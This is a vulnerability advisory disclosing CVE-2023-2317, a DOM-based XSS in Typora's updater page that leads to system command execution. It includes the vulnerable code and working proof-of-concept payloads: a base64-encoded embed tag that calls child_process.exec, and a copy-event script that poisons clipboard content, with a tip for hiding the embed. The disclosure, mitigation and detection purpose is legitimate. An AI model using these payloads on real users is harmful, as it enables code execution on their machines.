Summary:

Product Typora
Vendor Typora
Severity High
Affected Versions Typora for Windows/Linux < 1.6.7
Tested Versions Typora for Windows 1.5.12, Typora for Linux 1.5.10
CVE Identifier CVE-2023-2317
CVE Description DOM-based XSS in updater/update.html in Typora before 1.6.7 on Windows and Linux allows a crafted markdown file to run arbitrary JavaScript code in the context of Typora main window via loading “typora://app/typemark/updater/update.html” in <embed> tag. This vulnerability can be exploited if a user opens a malicious markdown file in Typora, or copies text from a malicious webpage and paste it into Typora.
CWE Classification(s) CWE-79 - Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’)
CAPEC Classification(s) CAPEC-588 DOM-Based XSS, CAPEC-549 Local Execution of Code

CVSS3.1 Scoring System:

Base Score: 8.6 (High)
Vector String: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Metric Value
Attack Vector (AV) Local
Attack Complexity (AC) Low
Privileges Required (PR) None
User Interaction (UI) Required
Scope (S) Changed
Confidentiality (C) High
Integrity (I) High
Availability (A) High

Product Overview:

Typora is a popular cross-platform markdown editor that allows users to create and edit markdown files with a real-time preview feature. It supports various formatting options such as headings, bold, italics, and more. Typora also allows users to export their markdown files to different formats such as PDF, HTML, and Word.

Typora for Windows/Linux is built on Electron, a framework that enables it to run seamlessly on various operating systems. The markdown editor supports HTML tags and embedding external webpages. An attacker can use the vulnerability to execute arbitrary JavaScript code and system commands by loading a crafted URL in the markdown editor.

Vulnerability Summary:

There is a DOM-based XSS in Typora for Windows/Linux, allowing arbitrary JavaScript code to run in the context of Typora main window. This vulnerability can be exploited if a user opens a malicious markdown file in Typora, or copies text from a malicious webpage and paste it into Typora.

Vulnerability Details:

An DOM-based XSS has been found in Typora/resources/updater/updater.html:

    <div class="btn-group">
      <div id="skip-this-version-btn-group" style="flex-grow: 2; min-height: 10px;min-width: 10px;">
        <button onClick="onSkipUpdate()" data-label="1" >Skip This Version</button>
      </div>
      
      <button onClick="onCancelUpdate()" data-label="2" >Remind Me Later</button>
      <button class="btn-primary" onClick="onDownloadUpdate()" data-label="3" >Download Update</button>
    </div>

    <script type="text/javascript">
      // ...
      var labels = JSON.parse(decodeURIComponent(/[?&]labels=([^&]+)/.exec(window.location.search)[1]));        // [1]

      document.querySelector("#sum").innerText = labels[4] + " " + labels[5].replace("$1", newVersion).replace("$2", curVersion);
      document.querySelectorAll("[data-label]").forEach(function(dom){
        dom.innerHTML = labels[dom.getAttribute("data-label") - 0];     // [2]
      });
      // ...
    </script>

In the code snippet above, variable labels is extracted from location.search at [1], and later assigned to innerHTML of elements with data-label attributes at [2].

Here is a PoC injecting an <input> tag into the DOM:

updater.html?curVersion=1&newVersion=2&releaseNoteLink=3&hideAutoUpdates=false&labels=["<input%20value=test>","22","33","44","55","66","77"]

Typora registered a file handler typora:// to load local resources. For example, the URL of the main window is typora://app/typemark/window.html, and the actual file is loaded from [Typora Installation Absolute Path]/resources/window.html.

It is possible for attacker to load the vulnerable updater.html inside an <embed> tag by setting the src attribute to typora://app/typemark/updater/updater.html. In this case, typora://app/typemark/window.html loaded in the main window, and the embedded updater page, are considered same-origin. Thus, updater is able to access privileged interfaces exposed to the main window, such as reqnode.

By embedding an updater.html URL with crafted DOM-XSS payload, an attacker is able to execute arbitrary JavaScript code on the main window. Further more, the attacker can use privileged interface reqnode in main window to gain access to the node module child_process and execute arbitrary system command.

Exploit Conditions:

This vulnerability can be exploited by convicing the victim to (1) open a malicious markdown file in Typora, or (2) copy text from a malicious webpage and paste it into Typora.

Proof-of-Concept:

We have tried our best to make the PoC as portable as possible. The following HTML code is a PoC demonstrating this arbitrary file disclosure vulnerability:

<embed src="typora://app/typemark/updater/updater.html?curVersion=111&newVersion=222&releaseNoteLink=333&hideAutoUpdates=false&labels=[%22%22,%22%3csvg%2fonload=top.eval(atob('cmVxbm9kZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoKHtXaW4zMjogJ25vdGVwYWQgJVdJTkRJUiUvd2luLmluaScsIExpbnV4OiAnZ25vbWUtY2FsY3VsYXRvciAtZSAiVHlwb3JhIFJDRSBQb0MiJ30pW25hdmlnYXRvci5wbGF0Zm9ybS5zdWJzdHIoMCw1KV0p'))><%2fsvg>%22,%22%22,%22%22,%22%22,%22%22]"></embed>

The base64-encoded part in the PoC is decoded to the following content:

reqnode('child_process').exec(({Win32: 'notepad %WINDIR%/win.ini', Linux: 'gnome-calculator -e "Typora RCE PoC"'})[navigator.platform.substr(0,5)])

When this PoC is loaded in Typora, it will:

  1. Load updater.html with DOM-XSS Payload
  2. The payload executes JavaScript code on main window
  3. Execute system command: notepad on Windows, or gnome-calculator on Linux

Attack Scenario:

Scenario 1: Open a malicious markdown file

An attacker can inject an embed tag in a markdown file and convince the victim to open it in Typora to trigger the payload.

We have attached poc/typora-1.5.12-rce.md with this report for demonstration. Open the file in affected version of Typora to verify this vulnerability.

Here are GIFs showing this scenario on Windows and Ubuntu:

Scenario 2: Copy and paste from a webpage

An attacker can craft a malicious webpage and hook on the copy event with the following code:

<script>
    document.addEventListener('copy',e=>{
        e.preventDefault();
        let payload = atob('JiN4M2M7ZW1iZWQgc3R5bGU9ImhlaWdodDowOyIgc3JjPSJ0eXBvcmE6Ly9hcHAvdHlwZW1hcmsvdXBkYXRlci91cGRhdGVyLmh0bWw/Y3VyVmVyc2lvbj0xMTEmbmV3VmVyc2lvbj0yMjImcmVsZWFzZU5vdGVMaW5rPTMzMyZoaWRlQXV0b1VwZGF0ZXM9ZmFsc2UmbGFiZWxzPVslMjIlMjIsJTIyJTNjc3ZnJTJmb25sb2FkPXRvcC5ldmFsKGF0b2IoJ2NtVnhibTlrWlNnblkyaHBiR1JmY0hKdlkyVnpjeWNwTG1WNFpXTW9LSHRYYVc0ek1qb2dKMjV2ZEdWd1lXUWdKVmRKVGtSSlVpVXZkMmx1TG1sdWFTY3NJRXhwYm5WNE9pQW5aMjV2YldVdFkyRnNZM1ZzWVhSdmNpQXRaU0FpVkhsd2IzSmhJRkpEUlNCUWIwTWlKMzBwVzI1aGRtbG5ZWFJ2Y2k1d2JHRjBabTl5YlM1emRXSnpkSElvTUN3MUtWMHAnKSk+PCUyZnN2Zz4lMjIsJTIyJTIyLCUyMiUyMiwlMjIlMjIsJTIyJTIyXSI+JiN4MGQ7JiN4MGQ7');
        e.clipboardData.setData('text/markhtml', `\x20\x0d\x0a\x0d\x0a` + payload + window.getSelection());
        console.log(payload + window.getSelection())
    })
</script>

When the victim copies text from this page, the payload is added to the copied content and will be triggered when it is pasted into Typora.

We have attached poc/rce-cp.html as PoC of this scenario. A live version can also be found here.

Additional Notes:

  1. It is possible for attackers to set custom styles on the <embed> tag to make the exploit less noticeable. For instance, height:0; is used in the Scenario 2 PoC to hide the embedded webpage.

Suggested Mitigations:

It is recommended to update HTML elements by setting innerText instead of innerHTML.

For end users who are using the versions affected by this vulnerability, it is suggested that (1) any untrusted markdown file should not be opened in Typora, and (2) copying text from an untrusted webpage then pasting it into Typora should be avoided.

Detection Guidance:

It is possible to detect the exploitation of this vulnerability by checking the presence of embed tags loading suspicious URLs in markdown files.

Credits:

Li Jiantao (@CurseRed) of STAR Labs SG Pte. Ltd. (@starlabs_sg)

Timeline:

  • 2023-04-27 Vendor Disclosure
  • 2023-05-22 Vendor Patch Release
  • 2023-08-19 Public Release